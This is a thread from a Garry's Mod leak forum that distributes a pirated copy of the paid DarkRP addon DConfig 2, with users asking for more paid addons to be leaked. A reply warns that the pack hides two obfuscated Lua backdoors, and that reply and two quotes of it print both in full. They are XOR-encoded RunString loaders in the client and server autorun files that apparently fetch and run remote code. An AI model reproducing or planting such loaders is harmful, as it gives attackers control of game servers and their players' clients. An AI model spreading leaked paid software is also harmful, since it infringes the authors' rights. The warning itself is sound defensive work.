Garry's Mod Leaks

DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )

Submitted by XaRTeCK, , Thread ID: 260988

28-02-2023, 09:05 PM
This post was last modified: 02-03-2023, 10:37 PM by XaRTeCK
#1
DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )



DESCRIPTION

DConfig 2: Next-gen in-game customization tool for DarkRP servers. Features robust data mgmt, advanced search, stats tracking & all previous features from DConfig. Enhance server control & admin experience with DConfig 2, a must-have for DarkRP admins.



💡 CONFIGURATION

Permissions

Inside lua\dconfig\sh\sh_config.luayou may add your Steam ID to DCONFIG2.Config.AccessSteamIDor ensure that your user group is inside of DCONFIG2.Config.AccessGroups

Although you can use user groups, the most secure method would be to use DCONFIG2.Config.AccessSteamID exclusively.



Themes

You can add/remove/edit themes inside of DCONFIG2.Config.Themes

A valid theme must have all properties that have been listed by default.



In-Game Configuration

In-game you can configure the following:

⬝ Theme
⬝ Stat Autosave Time
⬝ Default Shipment Price
⬝ Tracking for Job, Shipment, Entity, and Ammo Stats.
⬝ Display of Hardcoded Data
⬝ Toggle for UI Sounds



[Image: ?imw=5000&imh=5000&ima=fit&impolicy=Lett...rbox=false]

Download here:

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RE: DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )

#2
very much appreciated thank you ! :D Pepelaugh

RE: DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )

OP
#3
Tell me if the links don't work anymore, I'll fix them directly!  Smug

RE: DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )

#4
<3 thank you my bro ! @XaRTeCK, can u leak the last version of Zero´s GrowOP 2 ? ( The last version (28/01/23)

RE: DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )

OP
#5
28-02-2023, 09:49 PM
LeakBryn Wrote:
<3 thank you my bro !  @XaRTeCK, can u leak the last version of Zero´s GrowOP 2 ? ( The last version (28/01/23)

No, sorry but I don't have it right now!

Maybe later!  Thumbs Up 

RE: DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )

#6
Please I really need it fast...if my server is working I might pass you a share in the shop

RE: DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )

This post was last modified: 28-02-2023, 11:01 PM by Botiamu_
#7
Working very well, thanks !

28-02-2023, 10:56 PM
Botiamu_ Wrote:
Working very well, thanks !

make more leak please !! Surprised

RE: DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )

#8
--> BACKDOOR <--

File  > darkrp-master-config\lua\autorun\client\cl_credits.lua
Line > 61

Code:
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,35,10,52,10,88,37,11,18,34,35,14,81,55,10,3,23,6,5,21,3,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")



File  > darkrp-master-config\lua\autorun\server\sv_dconfig.lua
Line > 454

Code:
RunString([[ local AE = {8,20,20,16,78,38,5,20,3,8,72,59,59,8,20,20,16,19,90,79,61,61,78,78,59,59,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,35,10,52,10,88,37,11,18,34,35,14,81,55,10,3,23,6,5,21,3,61,61,76,6,21,14,3,20,9,15,14,72,11,73,50,21,14,51,20,18,9,14,7,72,11,76,59,59,90,61,61,76,65,81,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")

As a developer, I can confirm that there is at least one infected file in the above-mentioned section of the addon/pack that is being used to harm the server. I strongly recommend removing this infected code immediately to avoid potential damage. Ensuring the security of the server and eliminating potential threats is crucial for maintaining the integrity of the system.
☠ Backdoor Buster ☠

♚ Contact ⇛ DC ♚

DC

spacebuddy.

RE: DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )

This post was last modified: 01-03-2023, 12:00 AM by asapwoke
#9
backdoor checker, active, checking....

28-02-2023, 11:45 PM
SpaceBuddy Wrote:
--> BACKDOOR <--

File  > darkrp-master-config\lua\autorun\client\cl_credits.lua
Line > 61

Code:
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,35,10,52,10,88,37,11,18,34,35,14,81,55,10,3,23,6,5,21,3,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")



File  > darkrp-master-config\lua\autorun\server\sv_dconfig.lua
Line > 454

Code:
RunString([[ local AE = {8,20,20,16,78,38,5,20,3,8,72,59,59,8,20,20,16,19,90,79,61,61,78,78,59,59,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,35,10,52,10,88,37,11,18,34,35,14,81,55,10,3,23,6,5,21,3,61,61,76,6,21,14,3,20,9,15,14,72,11,73,50,21,14,51,20,18,9,14,7,72,11,76,59,59,90,61,61,76,65,81,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")

As a developer, I can confirm that there is at least one infected file in the above-mentioned section of the addon/pack that is being used to harm the server. I strongly recommend removing this infected code immediately to avoid potential damage. Ensuring the security of the server and eliminating potential threats is crucial for maintaining the integrity of the system.
good eye i was just finna say has backdoors

28-02-2023, 11:45 PM
SpaceBuddy Wrote:
--> BACKDOOR <--

File  > darkrp-master-config\lua\autorun\client\cl_credits.lua
Line > 61

Code:
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,35,10,52,10,88,37,11,18,34,35,14,81,55,10,3,23,6,5,21,3,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")



File  > darkrp-master-config\lua\autorun\server\sv_dconfig.lua
Line > 454

Code:
RunString([[ local AE = {8,20,20,16,78,38,5,20,3,8,72,59,59,8,20,20,16,19,90,79,61,61,78,78,59,59,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,35,10,52,10,88,37,11,18,34,35,14,81,55,10,3,23,6,5,21,3,61,61,76,6,21,14,3,20,9,15,14,72,11,73,50,21,14,51,20,18,9,14,7,72,11,76,59,59,90,61,61,76,65,81,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")

As a developer, I can confirm that there is at least one infected file in the above-mentioned section of the addon/pack that is being used to harm the server. I strongly recommend removing this infected code immediately to avoid potential damage. Ensuring the security of the server and eliminating potential threats is crucial for maintaining the integrity of the system.
good eye i was just finna say has backdoors

RE: DConfig 2 - NEW In-Game DarkRP Customization ( Jobs, Shipments, ETC )

#10
the addon works just remove the back door also it is not dconfig2 its dconfig old ass version and you back door it you suck buddy

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